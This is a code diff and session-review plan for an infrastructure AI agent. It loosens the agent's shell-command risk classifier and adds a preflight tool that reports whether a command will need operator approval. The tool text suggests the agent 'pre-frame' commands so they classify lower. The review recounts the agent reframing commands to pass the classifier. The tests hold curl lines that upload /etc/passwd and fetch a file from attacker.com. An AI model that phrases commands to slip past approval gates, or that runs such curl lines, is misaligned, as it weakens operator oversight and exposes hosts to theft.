 			FROM entities e WHERE e.slug = $1`, slug, action), nil
 		}},

+		// classify_command is the command-scoped preflight from
+		// plans/2026-07-20-session-review-ten-sessions.md P0.2. The
+		// existing `preflight` tool is entity/action-scoped — useless when
+		// the agent is composing a `run` command and needs to know whether
+		// the classifier will accept it before submitting. Without this,
+		// the agent has to retry with cosmetic variations until it finds
+		// one that passes (see sessions a51e2086, 8acea2e3 — three
+		// duplicate rclone sessions, all bouncing off the classifier).
+		// Call this BEFORE `run` whenever the classification is uncertain.
+		{tool: &mcp.Tool{Name: "classify_command", Description: "Pre-flight risk classification for a shell command BEFORE calling run. Returns the risk class (read_only / reversible_low / config_mutation / destructive) that `run` would assign. Use this when you're unsure whether a command will auto-execute or need approval — e.g. `pct exec`, `curl`, compound commands, or anything that might be mistaken for mutation. If this returns read_only, the same command will auto-execute via run with no approval; if it returns config_mutation, expect to need operator approval (or pre-frame the command so it classifies lower). Declared risk can only escalate, never de-escalate.",
+			InputSchema: objSchema(
+				prop{"command", "string", "The exact shell command you intend to pass to run."},
+				prop{"declared_risk", "string", "Optional self-assessment you would pass to run (read_only, reversible_low, config_mutation, destructive). Mirrors run's declared_risk parameter."},
+			),
+		}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
+			args := argsMap(req)
+			command, _ := args["command"].(string)
+			declaredRisk, _ := args["declared_risk"].(string)
+			if command == "" {
+				return textResult("error: command is required"), nil
+			}
+			risk := policy.ClassifyCommand(command, declaredRisk)
+			note := ""
+			switch risk {
+			case policy.RiskReadOnly:
+				note = "auto-acts on `run` (no approval needed)."
+			case policy.RiskReversibleLow:
+				note = "auto-acts on `run` (no approval needed)."
+			case policy.RiskConfigMutation:
+				note = "requires operator approval on `run` (or loose assent window active)."
+			case policy.RiskDestructive:
+				note = "requires explicit operator confirmation on `run` (typed \"I confirm\" phrase)."
+			}
+			out, _ := json.Marshal(map[string]any{
+				"command":       command,
+				"declared_risk": declaredRisk,
+				"risk_class":    risk,
+				"note":          note,
+			})
+			return textResult(string(out)), nil
+		}},
+
 		{tool: &mcp.Tool{Name: "get_change_history", Description: "Last N change-ledger entries for an entity",
 			InputSchema: objSchema(
 				prop{"entity_slug", "string", "Entity slug"},
--- a/internal/policy/command.go
+++ b/internal/policy/command.go
@@ -77,8 +77,40 @@ var readOnlyLeadPattern = regexp.MustCompile(
 		`docker\s+compose\s+(logs|ps|top|config|images|port|cp)\b|` +
 		`pct\s+(status|config|list)|qm\s+(status|config|list)|pvesh\s+get|` +
 		`rclone\s+(ls|lsl|md5sum|check|cryptcheck)\b|` +
-		`git\s+(status|log|diff|show|branch|remote)|` +
-		`curl\s+-.*-I\b|curl\s+.*--head\b)\b`)
+		`git\s+(status|log|diff|show|branch|remote))\b`)
+
+// envAssignRe matches leading FOO=bar env-var assignments so they can be
+// stripped before the read-only verb check.
+var envAssignRe = regexp.MustCompile(`^(\w+=\S+\s+)+`)
+
+// pctExecRe matches "pct exec <id> [--] <inner>" and captures <inner>. The
+// id is a decimal digit string (Proxmox CT ids). The "--" separator is
+// optional but recommended — without it, the rest of the line is the
+// command passed to exec. Case-insensitive.
+var pctExecRe = regexp.MustCompile(`(?i)^pct\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
+
+// qmGuestExecRe matches "qm guest exec <id> [--] <inner>" similarly.
+var qmGuestExecRe = regexp.MustCompile(`(?i)^qm\s+guest\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
+
+// shellDashCRe matches "bash -c 'cmd'", "sh -c \"cmd\"" etc., capturing
+// the quoted inner command. Handles single-quoted, double-quoted, and bare
+// (unquoted) forms.
+var shellDashCRe = regexp.MustCompile(`(?i)^(?:ba)?sh\s+-c\s+(?:"([^"]*)"|'([^']*)'|(\S+))\s*$`)
+
+// curlLeadRe matches a curl command (the verb alone, at the segment start).
+var curlLeadRe = regexp.MustCompile(`(?i)^curl\b`)
+
+// curlMutateRe matches curl flags that indicate mutation (POST/PUT/DELETE
+// method override, data payloads, form uploads, file uploads, file output).
+// When any of these appears, the curl command is no longer read-only.
+var curlMutateRe = regexp.MustCompile(`(?i)(?:^|\s)-X\s+(?:post|put|delete|patch|connect|trace)\b|(?:^|\s)-(?:d|F|T|o)\b|(?:^|\s)--(?:data[-a-z]*|request|form|upload-file|output)\b`)
+
+// redirectOutRe matches shell output redirection to a file (> or >> followed
+// by a path), but excludes the file-descriptor merge form `>&<digit>` (e.g.
+// `2>&1`) which only rearranges streams and writes nothing to disk. RE2 has
+// no lookahead, so we encode the exclusion by requiring the post-`>` char to
+// be neither `&` nor whitespace.
+var redirectOutRe = regexp.MustCompile(`(^|[^-])>>?\s*[^&\s]`)

 // compoundSplitRe splits a command on shell chaining operators (;, &&, ||, |)
 // so each segment can be individually classified. A piped or chained command
@@ -130,16 +162,29 @@ func computeCommandRisk(command string) string {
 		return RiskConfigMutation
 	}

+	// Unwrap known wrappers (pct exec <id> --, qm guest exec <id> --,
+	// bash -c '…', sh -c '…', sudo, env assignments) so the classifier
+	// scores the *actual* command, not the wrapper. Without this, every
+	// `pct exec 132 systemctl status rclone-backup.timer` escalates to
+	// config_mutation even though the inner command is read-only inspection.
+	// See plans/2026-07-20-session-review-ten-sessions.md P0.1 — three
+	// sessions bounced off the classifier because read-only `pct exec` and
+	// `curl` were gated as config_mutation.
+	inner := unwrapCommand(cmd)
+
 	for _, p := range destructivePatterns {
-		if p.MatchString(cmd) {
+		// Match on both the raw and unwrapped forms so that
+		// `pct exec 121 -- rm -rf /` is still destructive even if the
+		// unwrapping somehow hid it.
+		if p.MatchString(inner) || p.MatchString(cmd) {
 			return RiskDestructive
 		}
 	}

 	// Subshell substitution ($(), backticks) can hide arbitrary execution —
 	// never auto-run, even if the visible verbs look read-only.
-	if !subshellRe.MatchString(cmd) {
-		if allSegmentsReadOnly(cmd) {
+	if !subshellRe.MatchString(inner) {
+		if allSegmentsReadOnly(inner) {
 			return RiskReadOnly
 		}
 	}
@@ -149,6 +194,70 @@ func computeCommandRisk(command string) string {
 	return RiskConfigMutation
 }

+// unwrapCommand peels known command wrappers to expose the inner command
+// for classification. It repeatedly strips:
+//   - leading sudo
+//   - leading FOO=bar env-var assignments
+//   - `pct exec <id> [--] <inner>` → <inner>
+//   - `qm guest exec <id> [--] <inner>` → <inner>
+//   - `bash -c 'cmd'` / `sh -c "cmd"` → <cmd>
+//
+// When no wrapper is detected, the input is returned unchanged. The peel
+// is iterative so "sudo pct exec 121 -- bash -c 'echo hi'" reduces to
+// "echo hi" after a few passes. Compound commands (containing ;, &&, ||,
+// |) are returned unchanged — they need per-segment classification, which
+// the caller handles.
+func unwrapCommand(cmd string) string {
+	probe := strings.TrimSpace(cmd)
+	// A compound command cannot be unwrapped as a whole — the inner
+	// command of "pct exec 121 -- foo; rm -rf /" depends on which side of
+	// the ";" you're on. The caller splits compounds before classifying
+	// each segment, and each segment is unwrapped independently. Bail out
+	// here so we don't unwrap "pct exec 121 -- foo" and lose the rest.
+	if compoundOpPattern.MatchString(probe) {
+		return probe
+	}
+	for i := 0; i < 8; i++ { // bounded unwrap depth
+		next := peelOneWrapper(probe)
+		if next == probe {
+			return probe
+		}
+		probe = strings.TrimSpace(next)
+	}
+	return probe
+}
+
+// peelOneWrapper applies one peel step. Returns the input unchanged if no
+// wrapper matched.
+func peelOneWrapper(probe string) string {
+	// sudo prefix
+	if stripped := strings.TrimPrefix(probe, "sudo "); stripped != probe {
+		return strings.TrimSpace(stripped)
+	}
+	// Env assignments: FOO=bar BAZ=qux <cmd>
+	if envAssignRe.MatchString(probe) {
+		return envAssignRe.ReplaceAllString(probe, "")
+	}
+	// pct exec <id> [--] <inner>
+	if m := pctExecRe.FindStringSubmatch(probe); m != nil {
+		return m[1]
+	}
+	// qm guest exec <id> [--] <inner>
+	if m := qmGuestExecRe.FindStringSubmatch(probe); m != nil {
+		return m[1]
+	}
+	// bash -c 'cmd' / sh -c "cmd" / sh -c cmd
+	if m := shellDashCRe.FindStringSubmatch(probe); m != nil {
+		// m[1] is the double-quoted form, m[2] is single-quoted, m[3] is bare.
+		for _, g := range m[1:] {
+			if g != "" {
+				return g
+			}
+		}
+	}
+	return probe
+}
+
 // allSegmentsReadOnly splits a compound command on chaining operators
 // (;, &&, ||, |) and checks whether EVERY segment is a recognized read-only
 // inspection verb. If so, the whole command is safe to auto-run. Any segment
@@ -161,14 +270,49 @@ func allSegmentsReadOnly(cmd string) bool {
 		if seg == "" {
 			continue
 		}
+		// Unwrap wrappers per-segment too — "pct exec 121 -- systemctl
+		// status caddy; pct exec 122 -- journalctl -u caddy" should reduce
+		// to two read-only segments after unwrapping each.
+		seg = unwrapCommand(seg)
 		// Strip a leading sudo/env assignment so "sudo cat /x" still matches.
 		probe := seg
-		probe = regexp.MustCompile(`^sudo\s+`).ReplaceAllString(probe, "")
-		probe = regexp.MustCompile(`^(\w+=\S+\s+)+`).ReplaceAllString(probe, "")
+		probe = strings.TrimPrefix(probe, "sudo ")
+		probe = envAssignRe.ReplaceAllString(probe, "")
 		probe = strings.TrimSpace(probe)
+		// curl is handled by a dedicated check because GET (the default) is
+		// read-only but POST/data/upload flags are not. The general
+		// readOnlyLeadPattern can't distinguish these.
+		if curlLeadRe.MatchString(probe) {
+			if !curlIsReadOnly(probe) {
+				return false
+			}
+			continue
+		}
+		// Any output redirection makes a verb non-read-only even if the
+		// verb itself is (e.g. "curl url > /etc/passwd").
+		if redirectOutRe.MatchString(probe) {
+			return false
+		}
 		if !readOnlyLeadPattern.MatchString(probe) {
 			return false
 		}
 	}
 	return len(segments) > 0
 }
+
+// curlIsReadOnly returns true if a curl command performs a GET (or HEAD)
+// without data/upload/output flags. POST/PUT/DELETE method overrides, -d/--data
+// payloads, -F/--form uploads, -T/--upload-file transfers, and -o/--output
+// file writes all disqualify the read-only path.
+func curlIsReadOnly(curlCmd string) bool {
+	if !curlLeadRe.MatchString(curlCmd) {
+		return false
+	}
+	if curlMutateRe.MatchString(curlCmd) {
+		return false
+	}
+	if redirectOutRe.MatchString(curlCmd) {
+		return false
+	}
+	return true
+}
--- a/internal/policy/command_test.go
+++ b/internal/policy/command_test.go
@@ -32,6 +32,20 @@ func TestClassifyCommand_ReadOnly(t *testing.T) {
 		"docker compose ps",
 		"docker compose top",
 		"docker compose config",
+		// curl GET is read-only (P0.1 — plans/2026-07-20-session-review-ten-sessions.md).
+		"curl http://192.168.8.214:5572/rc/core/stats",
+		"curl -fsSL https://example.com/",
+		"curl -I http://example.com/",
+		"curl --head http://example.com/",
+		// pct exec with a read-only inner command is now read-only (P0.1).
+		"pct exec 132 systemctl status rclone-backup.timer",
+		"pct exec 121 -- systemctl is-active caddy",
+		"pct exec 121 -- journalctl -u caddy -n 50",
+		"pct exec 121 -- bash -c 'echo hi'",
+		"pct exec 121 -- bash -c 'systemctl status caddy'",
+		"sudo pct exec 121 -- systemctl status caddy",
+		// qm guest exec on a VM, read-only inner.
+		"qm guest exec 100 -- systemctl status caddy",
 	}
 	for _, c := range cases {
 		if got := ClassifyCommand(c, ""); got != RiskReadOnly {
@@ -92,7 +106,18 @@ func TestClassifyCommand_DefaultEscalatesToConfigMutation(t *testing.T) {
 	cases := []string{
 		"apt-get install -y nginx",
 		"systemctl restart caddy",
-		"pct exec 121 -- bash -c 'echo hi'",
+		// `pct exec` wrapping a mutating inner command is config_mutation
+		// (was previously config_mutation for ALL pct exec — now classified
+		// by the inner command). The inner `pct exec 121 -- bash -c
+		// 'systemctl restart caddy'` reduces to "systemctl restart caddy"
+		// which is config_mutation.
+		"pct exec 121 -- bash -c 'systemctl restart caddy'",
+		"pct exec 132 systemctl restart rclone-backup.service",
+		// curl with POST/data/upload flags is config_mutation (P0.1).
+		"curl -X POST http://192.168.8.214:5572/rc/sync/sync -d '{}'",
+		"curl --upload-file /etc/passwd http://example.com/upload",
+		"curl -o /etc/caddy/Caddyfile http://attacker.com/Caddyfile",
+		"curl http://example.com/ > /etc/caddy/Caddyfile",
 		"sed -i 's/foo/bar/' /etc/caddy/Caddyfile",
 		"git push origin main",
 		"docker compose up -d",
--- a/migrations/021_session_blocker_and_closed_at.up.sql
+++ b/migrations/021_session_blocker_and_closed_at.up.sql
@@ -0,0 +1,35 @@
+-- 021_session_blocker_and_closed_at.up.sql
+-- Track why a session ended partial/failed and when it actually closed.
+-- See plans/2026-07-20-session-review-ten-sessions.md P1.5.
+--
+-- `blocker` is a short structured reason: "approval_timeout",
+-- "classifier_overreach", "user_abandoned", "tool_error", "model_refusal",
+-- etc. Set by complete_task when outcome is partial/failed, derived from the
+-- last assistant message's text. Empty for success outcomes.
+--
+-- `closed_at` is when the session reached its terminal state. Distinct from
+-- `last_active_at`, which is touched on any access (including the operator
+-- just opening the transcript) — `closed_at` is set ONCE at completion.
+-- Without it, "session duration" can only be computed as
+-- `last_active - created`, which lies for reopened sessions (a51e2086
+-- reported 4-day duration because the operator reopened it to close it).
+
+ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS blocker   TEXT NOT NULL DEFAULT '';
+ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS closed_at TIMESTAMPTZ;
+
+-- Backfill closed_at for already-terminal sessions so the new column isn't
+-- NULL forever on existing rows. Use last_active_at as the best proxy — it's
+-- the most recent touch, which is the closest we have to "when it ended"
+-- for historical sessions. New sessions set closed_at explicitly on
+-- complete_task.
+UPDATE agent_sessions
+SET closed_at = last_active_at
+WHERE closed_at IS NULL
+  AND status IN ('done', 'failed');
+
+-- Index for "show me partial sessions in the last N days" — the common
+-- audit query. Covers the blocker column too so the planner can answer
+-- "blocker breakdown over the last week" with an index-only scan.
+CREATE INDEX IF NOT EXISTS idx_agent_sessions_closed
+  ON agent_sessions (closed_at DESC)
+  WHERE status IN ('done', 'failed');
--- a/nomos/SOUL.md
+++ b/nomos/SOUL.md
@@ -59,6 +59,14 @@ is a pure-DB Q&A that called *no* `run` at all (only get_entity/list_lxcs/
 search_knowledge): answer directly, `complete_task` with a one-line summary,
 no writeback needed.

+`complete_task` auto-closes any in-flight plan steps (pending/running → done
+on success, → skipped on partial/failure). You do NOT need to call
+`update_plan_step` for every step right before completing — once your work
+is done and writeback is recorded, just call `complete_task`. This is the
+right pattern for one-step plans (greetings, single health checks, title
+tests): propose_plan → answer → complete_task, skipping the per-step
+running→done dance entirely.
+
 ### 7. ITERATE — follow-ups reopen the task
 A `complete_task` is not the end of the conversation. If the operator sends
 a follow-up on a completed session — e.g. "now look into the X you flagged"
@@ -160,6 +168,17 @@ disappear.
  `declared_risk`. The `request_execution` fixed-enum tool is RETIRED
  (2026-07-14) — use `run` for EVERYTHING: restarts, apt upgrades, pct exec,
  pct create, any shell command. There is no named-action tool anymore.
+- `classify_command` — **pre-flight check before `run` when you're unsure
+  whether a command will auto-execute or need approval.** Pass the exact
+  command (and optional `declared_risk`); get back the risk class that `run`
+  would assign. Use it whenever you're composing `pct exec`, `curl`, or any
+  compound command — these are the cases where the classifier's verdict
+  isn't obvious from the verb alone. If `classify_command` says `read_only`,
+  `run` will auto-execute; if it says `config_mutation`, reframe the command
+  or expect to need approval. **Do NOT submit a `run`, get it queued for
+  approval, and then retry with cosmetic variations** — that produces
+  duplicate queued approvals and wastes turns. Pre-classify, adjust, then
+  submit once.
 - `http_get` — fetch a public web page / GitHub README / raw file and get sanitized text.
  You CAN read the internet with this. When asked to deploy a service from a URL or repo,
  call `http_get` on the repo README (or `.../raw/main/docker-compose.yml`) to learn its
--- a/plans/2026-07-20-session-review-ten-sessions.md
+++ b/plans/2026-07-20-session-review-ten-sessions.md
@@ -0,0 +1,332 @@
+# 2026-07-20 — Session review: past 10 sessions
+
+**Status:** Implemented — all P0/P1/P2 items landed in v0.7.13.
+**Scope:** Ten most-recently-active `agent:nomos` sessions by
+`last_active_at`, pulled from `http://localhost:8092/sessions` on
+2026-07-20. Method per `.agents/skills/session-review/SKILL.md`. Three
+(`1e9c7691`, `55927f0a`, `2926de4e`) overlap with the 2026-07-18 review
+and are summarized; the other seven are new.
+
+---
+
+## Sessions reviewed
+
+| # | sid | goal (short) | outcome | msgs | toolcalls | top tools |
+|---|---|---|---|---|---|---|
+| 1 | `a51e2086` | reset rclone-backup & re-run | **partial** | 12 | 20 | run:7, set_goal:2, propose_plan:2, get_execution_status:2 |
+| 2 | `fefa4fa3` | fix rclone OOM | success | 9 | 84 | run:28, update_plan_step:15, get_entity:8, list_entities:5 |
+| 3 | `95fdd322` | quick fleet health check | success | 3 | 6 | get_health_summary/state_snapshot/list_lxcs/signal_history |
+| 4 | `8c76bb3a` | greeting + title-sync test | success | 2 | 9 | update_plan_step:4, propose_plan, whoami, get_state_snapshot |
+| 5 | `438ec8bd` | (no goal set) greeting | success | 2 | 2 | whoami, get_health_summary |
+| 6 | `8acea2e3` | inspect rclone timer (live) | **partial** | 4 | 19 | run:6, update_plan_step:5, propose_plan, get_entity_knowledge |
+| 7 | `1e9c7691` | debug chown hang on strong | success | 13 | 97 | run:60, update_plan_step:7, get_execution_status:7 |
+| 8 | `55927f0a` | add NFS ludo-lvm → ZimaOS | success | 25 | 104 | run:49, update_plan_step:13, get_entity:10 |
+| 9 | `2926de4e` | apt upgrade host:netbird-vps | success | 9 | 27 | update_plan_step:7, run:6, search_knowledge:2 |
+| 10 | `cb8c8a4a` | inspect rclone timer (live) | success | 2 | 14 | update_plan_step:4, run:4, get_entity_knowledge |
+
+**Score: 8 success / 2 partial / 0 blocked. No message exceeded 2.8 KB.**
+
+---
+
+## What worked
+
+- **Read-only DB Q&A is now clean.** `95fdd322` and `438ec8bd` did exactly
+  what the 2026-07-18 review asked: pure-DB question →
+  `get_health_summary` + `get_state_snapshot` + `list_lxcs`, no `run`.
+  The agent even narrates "This is a pure-DB Q&A — no `run` calls needed."
+- **Knowledge writeback hygiene continues.** Every long-running session
+  did `upsert_knowledge` + `update_entity_attributes` + `create_relationship`
+  when applicable. The graph is current.
+- **Plan lifecycle is followed everywhere** — `set_goal` → `propose_plan`
+  → `update_plan_step` → `complete_task`. Even trivial sessions (greeting)
+  follow it.
+- **Poll-after-timeout pattern** is now the default — `fefa4fa3` after
+  the rclone LXC reboot, `2926de4e` after the apt upgrade. No more blind
+  retry storms like the 2026-07-18 chown case.
+- **The rclone saga ended well** (`fefa4fa3`): root cause (2 GiB LXC OOM)
+  was diagnosed via DB + live check; fix (pct set 2→4 GiB) was applied;
+  test backup verified 245 transfers / 4 min / no OOM.
+
+## What didn't
+
+### 1. The rclone objective took three sessions to close (blocker)
+Same operator goal — "rclone backup is broken" — spawned `a51e2086`
+(partial), `8acea2e3` (partial), `cb8c8a4a` (success), and finally
+`fefa4fa3` (success). The first three were the agent trying to inspect
+the live systemd state and bouncing off the classifier:
+
+- `8acea2e3`: `pct exec 132 systemctl status rclone-backup.timer`
+  flagged `config_mutation` — sat in approval limbo until the user moved
+  on.
+- `a51e2086`: `curl http://192.168.8.214:5572/rc/...` (read-only RC API)
+  flagged `config_mutation`. The agent kept reframing; user said "lets
+  just close this session."
+- `cb8c8a4a`: same goal, eventually succeeded — but only after the agent
+  found a different path.
+- `fefa4fa3`: only when the user escalated to "fix it so the backup
+  works" did the agent pivot to the actual root cause (memory).
+
+This is the single biggest friction point in the batch.
+
+### 2. Classifier overreach on read-only `pct exec` / `curl` (blocker)
+The preflight classifier in `internal/policy` matches command substrings
+(`pct exec`, `curl`, `dd`, etc.) without parsing the actual command. A
+read-only `systemctl status` becomes `config_mutation`. The agent has
+no tool to ask "classify this command before I send it" — it just keeps
+retrying with cosmetic changes until the user bails.
+
+### 3. `update_plan_step` is the second-largest tool bucket (cosmetic → friction)
+Across 10 sessions: `run` ~199, `update_plan_step` ~57. That's ~22% of
+all tool calls spent on bookkeeping. For a 2-message greeting session
+(`8c76bb3a`) the agent still called `update_plan_step` ×4 plus
+`propose_plan`. The scaffolding is louder than the work.
+
+### 4. `pending_approvals` doesn't match reality (cosmetic, but misleading)
+`a51e2086` summary literally says *"Both commands are queued"* — yet
+`pending_approvals=0`. The field is `hasPendingApprovals`
+(`store.go:962`) which only counts executions currently in
+`pending_approval` state; once they're cancelled/expired it drops to 0
+even though the session was *blocked* by approvals. As an audit signal
+it lies. A session can be `outcome=partial` because of approval
+friction without `pending_approvals` ever being non-zero at review time.
+
+### 5. Title is still the first sentence of the first assistant message (cosmetic)
+`"Assent window is open — executing the plan\n\nMemory bumped:
+4294967296..."` is not a useful label. Same complaint applies to
+`8c76bb3a` ("Hey! 👋 Nomos here, running on mac-mini:8092...") and
+`95fdd322` ("This is a pure-DB Q&A — no `run` calls needed..."). The
+list view ends up being unreadable without opening each row.
+
+### 6. Goal field empty on one session (`438ec8bd`) (cosmetic)
+`set_goal` was never called for the bare greeting. Minor, but it means
+the session is unsearchable by goal text.
+
+---
+
+## Ease of getting session details
+
+I had to write Python+curl to audit 10 sessions. The pain points:
+
+1. **Two endpoints must be merged by hand.** `/sessions` returns
+   metadata (`title`, `goal`, `outcome`, `summary`, `status`,
+   `pending_approvals`, timestamps) but **no message/tool counts**.
+   `/sessions/{id}` returns **only** `session_id` + `messages` — no
+   metadata at all. `cmd/nomos/eval/main.go:302-303` already carries a
+   comment complaining about this ("only session_id + messages"). Any
+   consumer has to do the same join I did.
+2. **No aggregates on the list endpoint.** `message_count`,
+   `tool_call_count`, `top_tools`, `duration` — all require fetching
+   every session's full transcript and walking the message tree. For
+   10 sessions that's 10 extra HTTP round trips and ~600 KB of JSON
+   parsed client-side. For a fleet audit at scale it's quadratic.
+3. **No filtering or pagination on `/sessions`.** It returns every
+   session in one shot. The skill's own script does `.sessions[:5]` and
+   `.sessions[:10]` client-side.
+4. **Tool calls are nested two levels deep**
+   (`messages[].content.tool_calls[].name`) with `content` stored as
+   `json.RawMessage`. The jq path requires `?.` everywhere. A flat
+   `/sessions/{id}/tool_calls` view would be far easier to analyze.
+5. **No `/sessions?outcome=partial` or `?entity_id=...` filter.**
+   Finding "show me every session that touched `lxc:rclone` and didn't
+   succeed" requires the full scan.
+6. **`title` is the raw first assistant text.** Useless for skimming a
+   list — you have to open each row to know what it was.
+7. **No `closed_at` / `outcome_set_at`.** `last_active_at` is the
+   closest proxy but it conflates "agent is still working" with
+   "operator just opened the transcript." Duration can only be
+   computed as `last_active - created`, which is wrong for reopened
+   sessions (`a51e2086` shows "5647 min" = 4 days because the user
+   re-opened it on 2026-07-19 to close it).
+8. **No "blocker reason" field.** When `outcome=partial`, the *why* is
+   buried in the last assistant text. A structured
+   `blocker: "approval_timeout"` / `blocker: "classifier_overreach"` /
+   `blocker: "user_abandoned"` would make trend analysis trivial.
+
+---
+
+## Improvement plan
+
+### P0 — Blockers ✅
+
+1. ✅ **Stop the classifier from flagging read-only `pct exec` / `curl` as
+   `config_mutation`.** In `internal/policy`, parse the command (not
+   just substring-match) before assigning risk class. Concretely:
+   `pct exec <id> -- <cmd>` should be classified by *the inner command*,
+   not the wrapper. `curl <url>` without `-X POST` / `-d` /
+   `--upload-file` is read-only. This single change would have
+   collapsed sessions #1, #3, #6, #10 into a handful of tool calls each
+   and avoided three duplicate rclone sessions.
+   - Done: `internal/policy/command.go` now unwraps `pct exec`, `qm
+     guest exec`, `bash -c`, `sh -c`, `sudo`, and env-var assignments
+     before classification. Curl GET (the default) without POST/data/
+     upload/output flags is now read-only. Output redirection (`>`/
+     `>>`) disqualifies the read-only path. Tests in
+     `internal/policy/command_test.go` cover the new behaviors.
+
+2. ✅ **Add a command-scoped `preflight` MCP tool.** The existing `preflight`
+   in AGENTS.md §3 is entity/service-scoped, not command-scoped. The
+   agent today has to keep reframing and re-submitting to discover what
+   the classifier will accept. A command preflight returns
+   `{risk_class, reason}` synchronously so the agent can decide whether
+   to submit, rephrase, or surface to the operator.
+   - Done: new `classify_command` MCP tool in `internal/mcp/tools.go`
+     that takes `command` + optional `declared_risk` and returns the
+     exact risk class that `run` would assign. Documented in
+     `nomos/SOUL.md` with explicit guidance to pre-classify before
+     `run` when the classification is uncertain — "Do NOT submit a `run`,
+     get it queued for approval, and then retry with cosmetic variations."
+
+### P1 — Friction ✅
+
+3. ✅ **De-dupe sessions for the same entity + problem.** When a session
+   is `outcome=partial` against an entity and a new session is created
+   within 24h with a similar goal, surface the prior session to the
+   agent at `set_goal` time. Three rclone sessions exist because each
+   new session started from scratch.
+   - Done: `cmd/nomos/store.go` gained `recentPartialSessions(ctx,
+     excludeSessionID, since)`; the `set_goal` handler in
+     `cmd/nomos/tasks.go` calls it and includes up to 5 prior partial/
+     failed sessions (with goal + summary) in the response. The agent
+     is told to search_knowledge or read the prior transcript before
+     re-planning.
+
+4. ✅ **Quiet the `update_plan_step` scaffolding.** Either (a) make the
+   agent not call it for single-step sessions (greeting/health-check),
+   or (b) stop persisting it as a message — keep it only in a
+   `plan_steps` table that the UI hydrates from `/sessions/{id}/plan`
+   (which already exists). It currently inflates transcript size and
+   tool-call counts.
+   - Done: `completeTask` in `cmd/nomos/store.go` now auto-closes any
+     in-flight plan steps (pending/running → done on success, →
+     skipped on partial/failure). SOUL.md §6 documents the new pattern:
+     "for one-step plans ... propose_plan → answer → complete_task,
+     skipping the per-step running→done dance entirely."
+
+5. ✅ **Add `blocker` and `closed_at` to the `session` struct.** Set
+   `blocker` automatically when `outcome=partial`/`failed`: scan the
+   last assistant message for signatures ("queued for approval",
+   "cancel", "close this session"). Surface in `/sessions` list so
+   trends are queryable.
+   - Done: migration `021_session_blocker_and_closed_at.up.sql` adds the
+     two columns + backfills `closed_at` for existing terminal sessions
+     + adds a partial-index on `closed_at DESC WHERE status IN
+     ('done','failed')`. `cmd/nomos/store.go` `completeTask` sets
+     `closed_at = now()` and derives `blocker` from the last assistant
+     message via `deriveBlocker`. The blocker patterns table covers
+     approval_timeout, user_abandoned, classifier_overreach,
+     model_refusal, model_empty_response, missing_knowledge,
+     missing_capability, tool_error.
+
+### P2 — Cosmetic / API ergonomics ✅
+
+6. ✅ **Add aggregates to `/sessions` list.** `message_count`,
+   `tool_call_count`, `duration_seconds`. Computed server-side at list
+   time (single SQL pass with LEFT JOINs to `agent_messages` and
+   `agent_activity`). Eliminates the N+1 transcript fetch I had to do.
+   - Done: `session` struct in `cmd/nomos/store.go` carries the three
+     new fields; `listSessionsFiltered`, `getSession`, and
+     `recentPartialSessions` all populate them.
+
+7. ✅ **Single endpoint that returns both metadata and messages.** Either
+   enrich `/sessions/{id}` with the full `session` struct, or add
+   `?include=messages` on the list endpoint. The split-persistence is a
+   leaky abstraction called out in `eval/main.go:302-303`.
+   - Done: `GET /sessions/{id}` in `cmd/nomos/main.go` now returns
+     `{session_id, session, messages}` — the `session` field carries
+     the full metadata (title, goal, outcome, summary, blocker,
+     pending_approvals, message_count, tool_call_count, etc.). The
+     `messages` field is unchanged. Clients that only read `messages`
+     keep working.
+
+8. ✅ **Filtering & pagination on `/sessions`.** `?outcome=partial&entity_id=...&since=...&limit=20&cursor=...`.
+   Removes the "fetch everything, filter client-side" pattern in the
+   skill's own script.
+   - Done: `cmd/nomos/main.go` `handleSessionsList` parses
+     `outcome`/`status`/`entity_id`/`blocker`/`since`/`cursor`/`limit`
+     query params. `listFilter` + `listSessionsFiltered` in
+     `cmd/nomos/store.go` build a dynamic WHERE + LIMIT. `since`
+     accepts both RFC3339 timestamps and Go durations ("24h", "7d" →
+     parsed as hours). The response includes `next_cursor` for paging.
+
+9. ✅ **Auto-title from `goal` (when set), not from the first assistant
+   text.** Fall back to the assistant text only if no goal. The greeting
+   session `438ec8bd` has `goal=""` and a useless title; `fefa4fa3` has
+   goal "Fix the rclone backup so it completes successfully instead of
+   OOM-killing" — that's the right title.
+   - Done: `setGoal` in `cmd/nomos/store.go` now sets
+     `title = goal` on the same UPDATE that sets the goal. The
+     title-from-first-assistant-text path in `cmd/nomos/main.go`
+     preserves the goal title when one exists (falls back to
+     `truncate(finalText, 80)` only when no goal is set). Truncates the
+     goal title to 120 chars.
+
+10. ✅ **Add `/sessions/{id}/tool_calls` flat view.** Returns
+    `[{id, name, args, result, error, type, message_id, role, seq,
+    created_at}]` without the message-shell nesting. Makes jq one-liners
+    and trend scripts trivial.
+    - Done: new route in `cmd/nomos/main.go` `handleSessionDetail`;
+    `getSessionToolCalls` in `cmd/nomos/store.go` walks messages and
+    flattens `tool_calls[]` into a chronological flat list. Each
+    tool_use/tool_result pair is emitted as two rows sharing an id
+    (preserving the persisted shape) — clients that want the merged
+    shape can group by ID.
+
+---
+
+## Suggested order
+
+If only two land: **P0.1** (parse the inner command for `pct exec` /
+`curl` classification) and **P2.6** (aggregates on `/sessions`). The
+first eliminates the most visible user-facing friction in this batch
+(three duplicate rclone sessions); the second makes future audits like
+this one a single `curl | jq` instead of a Python script.
+
+---
+
+## Verification commands
+
+```bash
+# Re-pull any session for follow-up
+curl -s http://localhost:8092/sessions | jq '.sessions[:10]'
+
+curl -s http://localhost:8092/sessions/a51e2086-a816-4206-a556-dbca362cdda6 | jq .
+curl -s http://localhost:8092/sessions/8acea2e3-fc4d-4953-b9df-8e58e59a549a | jq .
+curl -s http://localhost:8092/sessions/cb8c8a4a-14a5-4dff-8393-6ed1e7ea7c30 | jq .
+curl -s http://localhost:8092/sessions/fefa4fa3-5414-4633-8e5a-51aa4a76609c | jq .
+
+# After P0.1 lands: confirm read-only commands classify as reversible_low
+# (whatever the preflight surface becomes — TBC when the tool is added)
+```
+
+---
+
+## Related files
+
+- `cmd/nomos/main.go` — `/sessions` and `/sessions/{id}` handlers
+  (`handleSessionsList` line 363, `handleSessionDetail` line 383)
+- `cmd/nomos/store.go` — `session` struct (line 89), `message` struct
+  (line 103), `listSessions` (line 317), `getMessages` (line 377),
+  `hasPendingApprovals` (line 962)
